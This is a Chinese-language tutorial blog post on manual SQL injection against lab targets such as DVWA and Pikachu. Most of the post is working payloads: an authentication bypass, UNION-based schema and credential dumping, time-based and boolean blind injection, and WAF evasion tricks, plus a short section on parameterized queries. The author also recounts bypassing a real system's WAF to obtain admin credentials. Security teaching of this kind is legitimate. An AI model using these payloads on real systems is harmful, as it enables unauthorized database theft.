SQL注入实战：手工脱库技术与WAF绕过详解-三亩地-编程学习日记

1. 项目概述

SQL注入作为Web安全领域的经典漏洞类型，至今仍是渗透测试和CTF比赛中的高频考点。我从业Web安全七年来，处理过上百起SQL注入案例，发现许多新手在手工注入过程中常因基础不牢而陷入困境。本文将基于DVWA、Pikachu等主流靶场环境，拆解手工脱库的全流程技术细节。

手工注入与工具扫描最大的区别在于对数据库结构的理解深度。记得第一次接触泛微OA系统注入时，我花了三天时间才绕过WAF获取到管理员凭证，这段经历让我深刻认识到系统化学习的重要性。下面分享的每个技巧都经过真实环境验证，特别适合已经掌握SQL语法基础但缺乏实战经验的安全爱好者。

2. 注入原理深度解析

2.1 漏洞产生机制

当应用程序将用户输入直接拼接进SQL查询语句时，攻击者通过构造特殊输入改变原语句逻辑。以登录场景为例：

-- 原始语句 SELECT * FROM users WHERE username='$input_user' AND password='$input_pass' -- 注入攻击 admin' --

这段注入会使查询变为：

SELECT * FROM users WHERE username='admin' -- ' AND password=''

注释符(--)使密码验证失效，直接以admin身份登录。这种基于单引号闭合的注入属于最常见的字符型注入。

2.2 注入类型鉴别

通过提交特定测试载荷判断注入类型：

数字型注入：

id=1 and 1=1 -- 正常显示 id=1 and 1=2 -- 异常显示

字符型注入：

id=1' and '1'='1 -- 正常 id=1' and '1'='2 -- 异常

搜索型注入：
```
search=%' and 1=1 --
```

关键技巧：在Burp Suite中拦截请求后，逐个参数测试闭合方式，观察响应差异。

3. 手工注入全流程实战

3.1 信息收集阶段

使用DVWA靶场(Low级别)演示：

判断注入点：
```
1' and sleep(5) --
```
若响应延迟5秒，确认存在注入。
获取字段数：
```
1' order by 4 -- -- 正常 1' order by 5 -- -- 报错
```
说明当前查询返回4个字段。
确定回显位：
```
-1' union select 1,2,3,4 --
```
页面显示数字2和3的位置可用于输出查询结果。

3.2 数据库结构探测

获取数据库版本：
```
-1' union select 1,version(),3,4 --
```

列出所有数据库：

-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata --

获取当前数据库表：

-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --

3.3 数据提取技巧

针对users表的脱库操作：

-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' -- -1' union select 1,concat(user,'|',password),3,4 from users --

实战经验：遇到group_concat被限制时，可用limit分页：
-1' union select 1,concat(user,':',password),3,4 from users limit 0,1 --

4. 高级绕过技术

4.1 WAF绕过方案

大小写混淆：
```
1' aNd 1=1 --
```
注释符分割：
```
1' /*!and*/ 1=1 --
```
十六进制编码：
```
-1' union select 1,0x61646d696e,3,4 --
```

4.2 盲注技术应用

当页面无回显时采用时间盲注：

1' and if(ascii(substr(database(),1,1))>100,sleep(3),0) --

布尔盲注判断技巧：

1' and (select count(*) from users where username='admin')=1 --

5. 防御方案与检测方法

5.1 安全编码实践

参数化查询（Java示例）：

String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, inputUser);

输入过滤：

$input = preg_replace('/[\'"]/', '', $_GET['id']);

5.2 漏洞检测流程

自动化扫描：

SQLmap基础检测：

sqlmap -u "http://target.com/page?id=1" --risk=3 --level=5

手工验证：
- 使用Burp Suite的Repeater模块逐步测试
- 对每个输入点测试边界情况

6. 典型问题排查指南

问题现象	可能原因	解决方案
注入语句执行但无回显	可能为盲注场景	改用时间盲注或布尔盲注技术
单引号被转义	魔术引号开启	尝试数字型注入或双重编码
返回结果被截断	group_concat长度限制	使用substring函数分段获取
请求被WAF拦截	触发安全规则	尝试注释符混淆/大小写变异

7. 靶场实战建议

DVWA：调整安全等级逐步练习
- Low：基础注入练习
- Medium：学习绕过基础过滤
- High：掌握复杂绕过技术
Pikachu靶场：包含各种变异注入场景
- 宽字节注入
- Base64编码注入
- Cookie注入

CTFshow题目：

# 绕过过滤空格 1'/**/union/**/select/**/1,2,3#

最后分享一个真实案例中的技巧：遇到过滤了information_schema的情况，可以通过mysql.innodb_table_stats等替代表获取表结构信息。手工注入的魅力在于需要根据目标环境不断调整策略，这比单纯使用工具更能提升技术理解深度。

日记详情

SQL注入实战：手工脱库技术与WAF绕过详解